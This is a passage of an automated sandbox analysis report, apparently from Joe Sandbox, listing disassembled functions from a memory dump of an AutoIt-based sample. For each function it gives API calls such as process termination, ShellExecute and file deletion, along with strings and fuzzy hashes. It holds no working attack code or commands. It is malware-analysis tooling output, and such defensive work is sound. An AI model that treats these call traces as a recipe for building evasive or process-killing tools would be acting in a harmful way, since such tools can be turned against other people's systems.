GetDC.USER32(00000000), ref: 00945218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00945229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00945230
ReleaseDC.USER32(00000000,00000000), ref: 00945238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0094524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00945261

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 14aa3ca0866c3aac3da9d899e99296aa7eb4ca9f0a4bd5d814a2e8b3caef109d
Instruction ID: a8e79e19d48490d9fcae84ed130d81d70d2cd9e6ae566b22ea5eb197d702a634
Opcode Fuzzy Hash: 14aa3ca0866c3aac3da9d899e99296aa7eb4ca9f0a4bd5d814a2e8b3caef109d
Instruction Fuzzy Hash: 9E0144B6E04719BBEB105BE59C49E5EBFB8EF48751F044065FA08A7281D6709800DFA0

Function 008E1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 008E1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 008E1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 008E1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 008E1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 008E1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 008E1C22

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: e8b940bcdc13fdf56a6b328017858da882fd85c1d9c17652851b7af522179563
Instruction ID: 14f2f921736c4a5dcc69291dddca9fc84313270fb0c443a6b8bf2e4cf81510d2
Opcode Fuzzy Hash: e8b940bcdc13fdf56a6b328017858da882fd85c1d9c17652851b7af522179563
Instruction Fuzzy Hash: 24016CB090275A7DE3008F5A8C85B52FFA8FF19754F00411F915C47941C7F5A864CBE5

Function 0094EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0094EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0094EB46
GetWindowThreadProcessId.USER32(?,?), ref: 0094EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0094EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0094EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0094EB75

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 2ee770dd94fa08db9cf671ee5f8479c3bfe65c6c8ed3e10cacd3bf77a4d5b305
Instruction ID: 5dd85af2c9bc9b242ab2905d3ff9359b59bedfc291e850b54808c25207b2e9a8
Opcode Fuzzy Hash: 2ee770dd94fa08db9cf671ee5f8479c3bfe65c6c8ed3e10cacd3bf77a4d5b305
Instruction Fuzzy Hash: 67F03AB3254159BBE7215B629C4EEEF3A7CEFCAB11F00016CF605E1091D7A05A41EAB5

Function 00937439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00937452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00937469
GetWindowDC.USER32(?), ref: 00937475
GetPixel.GDI32(00000000,?,?), ref: 00937484
ReleaseDC.USER32(?,00000000), ref: 00937496
GetSysColor.USER32(00000005), ref: 009374B0

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: c34f495e5ba5ca863bafcae2915276984cb084b464639bb17b37d71cc6d6c381
Instruction ID: 9b423d4044abf64a70d33b3e0a1a1253786db9518bc33ee00e1a9303da0b3a3b
Opcode Fuzzy Hash: c34f495e5ba5ca863bafcae2915276984cb084b464639bb17b37d71cc6d6c381
Instruction Fuzzy Hash: 3F014F72418219FFDB515FA4DC48BA97BB6FB04311F510168F919A21B1CB312E91BF51

Function 00941874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0094187F
UnloadUserProfile.USERENV(?,?), ref: 0094188B
CloseHandle.KERNEL32(?), ref: 00941894
CloseHandle.KERNEL32(?), ref: 0094189C
GetProcessHeap.KERNEL32(00000000,?), ref: 009418A5
HeapFree.KERNEL32(00000000), ref: 009418AC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: fe22a4cc0e2054f883077bfe5d3bf4672b462f242891b4b90d1b036c70b3721c
Instruction ID: d6169b2d596888b83cda1afb1395608277df9c0f27a95f3f8510b51d1f670831
Opcode Fuzzy Hash: fe22a4cc0e2054f883077bfe5d3bf4672b462f242891b4b90d1b036c70b3721c
Instruction Fuzzy Hash: 3DE0E5B701C101FBEB015FA1ED0C90ABF39FF89B22B508228F22991470CB3294A0EF50

Function 0094C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008E7620: _wcslen.LIBCMT ref: 008E7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0094C6EE
_wcslen.LIBCMT ref: 0094C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0094C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0094C7CA

Strings

0, xrefs: 0094C6AF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 73a0c3812d3f0663f7b43f305138c346cdee7e759d4e5180b5be8d471499137f
Instruction ID: c8d52c84b7b306cce4ca676622aeeff638cf07c3e1193226cfe6c989629494ad
Opcode Fuzzy Hash: 73a0c3812d3f0663f7b43f305138c346cdee7e759d4e5180b5be8d471499137f
Instruction Fuzzy Hash: 3151EFB161A3419FD7949F28C885F6B77E8EF89324F040A2DF995E32A1DB74D804CB52

Function 0096AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0096AEA3

Part of subcall function 008E7620: _wcslen.LIBCMT ref: 008E7625

GetProcessId.KERNEL32(00000000), ref: 0096AF38
CloseHandle.KERNEL32(00000000), ref: 0096AF67

Strings

@, xrefs: 0096AE72
<, xrefs: 0096AE6B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: e19731ea5dd0fa9a6c78f4d0d27a6347fa7de0162216970047bb904d5792797a
Instruction ID: cfbad4b00f167b02108afbf53b99f1e83fd0ef9170ec274f571bc23261c93fbb
Opcode Fuzzy Hash: e19731ea5dd0fa9a6c78f4d0d27a6347fa7de0162216970047bb904d5792797a
Instruction Fuzzy Hash: 74715671A00659DFCB14DF59C484A9EBBF4FF09310F048499E816AB2A2CB75ED41CF92

Function 0094719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00947206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0094723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0094724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 009472CF

Strings

DllGetClassObject, xrefs: 00947242

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: f7e3344f650046beed7514d0f5b004a4e26c2f75b66901908d4bdfa278bb3542
Instruction ID: 19778c8dc50477840aac7e7da2094d7dec5597f3dd62d06e362b127996564bb2
Opcode Fuzzy Hash: f7e3344f650046beed7514d0f5b004a4e26c2f75b66901908d4bdfa278bb3542
Instruction Fuzzy Hash: 714171B1604208DFDB15CFA4C884E9ABBA9EF44314F1480ADBD199F20AD7B4D944CBA0

Function 00941DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Part of subcall function 00943CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00943CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00941E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00941E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00941EA9

Part of subcall function 008E6B57: _wcslen.LIBCMT ref: 008E6B6A

Strings

ComboBox, xrefs: 00941DF0
ListBox, xrefs: 00941E25

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 8d7886941ea1d7ed7298bf6d701267ee44daa7d79aa485b4c4d2c25ecedd511b
Instruction ID: c3859a0173b44547a87343a99f75bfd48df52c2b2b7574ed0c0c61910edab79a
Opcode Fuzzy Hash: 8d7886941ea1d7ed7298bf6d701267ee44daa7d79aa485b4c4d2c25ecedd511b
Instruction Fuzzy Hash: 78213775A00104BADB14AB75DC85CFFB7B8EF82350B104519F815E71E1EB74498A9620

Function 00972F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00972F8D
LoadLibraryW.KERNEL32(?), ref: 00972F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00972FA9
DestroyWindow.USER32(?), ref: 00972FB1

Strings

SysAnimate32, xrefs: 00972F68

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: f35e2821e378fb64ae3af0968a26ab7edec880d30248b9e411d35a1884cd6e7d
Instruction ID: 2d0124c833bce2d89b2855b5b6f8a39ba720617d2794c3338ad1ad3342213d3c
Opcode Fuzzy Hash: f35e2821e378fb64ae3af0968a26ab7edec880d30248b9e411d35a1884cd6e7d
Instruction Fuzzy Hash: 4D219D73224205ABEF104FA8DC80FBB77BDEB59368F108619F958D61A0E771DC91A760

Function 00904D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00904D1E,009128E9,?,00904CBE,009128E9,009A88B8,0000000C,00904E15,009128E9,00000002), ref: 00904D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00904DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00904D1E,009128E9,?,00904CBE,009128E9,009A88B8,0000000C,00904E15,009128E9,00000002,00000000), ref: 00904DC3

Strings

CorExitProcess, xrefs: 00904D98
mscoree.dll, xrefs: 00904D86

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c3ceabb61ff9010c04ecc7de6328c029822298c5aef8496c6e7f48482411b226
Instruction ID: ffffc7d5d35b6daca47e2f7ccd002f83d141fbb79a07c5b35e9585bbda0c1851
Opcode Fuzzy Hash: c3ceabb61ff9010c04ecc7de6328c029822298c5aef8496c6e7f48482411b226
Instruction Fuzzy Hash: DBF044B5654218BFDB115F90DC49B9DBBB9EF84755F440068F909A6290CB305980DBD1

Function 008E4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,008E4EDD,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 008E4EAE
FreeLibrary.KERNEL32(00000000,?,?,008E4EDD,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 008E4EA8
kernel32.dll, xrefs: 008E4E94

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: f87133e4e20f0d6e24875599087c6cc5c28e90ccec15a5d8060f75dd525dc2a5
Instruction ID: 3a7c49da479804d1eb22208e8526c92651fdff3d2d1f22b67394168339ef732f
Opcode Fuzzy Hash: f87133e4e20f0d6e24875599087c6cc5c28e90ccec15a5d8060f75dd525dc2a5
Instruction Fuzzy Hash: EFE08677A195636B93311B266C19A5F6654FFC2F72B054129FC0CD2100DB60CD4195A0

Function 008E4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00923CDE,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 008E4E74
FreeLibrary.KERNEL32(00000000,?,?,00923CDE,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 008E4E6E
kernel32.dll, xrefs: 008E4E5B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 4b9aea0984dafbc5688e3be74f6a1a55233ea88b19c55acdaf3761dac4326d5f
Instruction ID: fca82a301852679e8a2f8e8c6f684d839d8763daa54e53cec73b6b9b7c834c37
Opcode Fuzzy Hash: 4b9aea0984dafbc5688e3be74f6a1a55233ea88b19c55acdaf3761dac4326d5f
Instruction Fuzzy Hash: 09D0C27391A6625746221B266C08D8F6A18FF8AF253894128B80CE2110CF20CD41D5D0

Function 00952947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00952C05
DeleteFileW.KERNEL32(?), ref: 00952C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00952C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00952CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00952CC0

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 04e76f1ed4fbc2f0386aed7ff8afc1b4a27058fc0fd68f39ba6715cdbe50fe36
Instruction ID: 11fa29512b5a71827cbe75e0c81b81bdb8efc98ff3712735c2a8ec96b6bd473e
Opcode Fuzzy Hash: 04e76f1ed4fbc2f0386aed7ff8afc1b4a27058fc0fd68f39ba6715cdbe50fe36
Instruction Fuzzy Hash: D6B14E72D00119ABDF15DBA5CC85EDEB7BDEF4A354F1040A6FA09E6141EB309A488FA1

Function 0096A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0096A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0096A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0096A468
CloseHandle.KERNEL32(?), ref: 0096A63D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: e53461e95abced32ff4163bf4b7f0b21e140f2dd4de55637540e6224775eabd8
Instruction ID: 2ae8deb4cec532c333b0b8b64543391b2095ea3f466bcbea7ef4e59dcdfef31d
Opcode Fuzzy Hash: e53461e95abced32ff4163bf4b7f0b21e140f2dd4de55637540e6224775eabd8
Instruction Fuzzy Hash: 12A16C71604301AFD720DF29D886B2AB7E5EF84714F14885DF59ADB392DBB0EC418B92

Function 0091BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00983700), ref: 0091BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,009B121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0091BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,009B1270,000000FF,?,0000003F,00000000,?), ref: 0091BC36
_free.LIBCMT ref: 0091BB7F

Part of subcall function 009129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000), ref: 009129DE
Part of subcall function 009129C8: GetLastError.KERNEL32(00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000,00000000), ref: 009129F0

_free.LIBCMT ref: 0091BD4B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 58244e970a94375ca0cc0f7253ad572fce8c06ce406c8e6f412cae04df75b18c
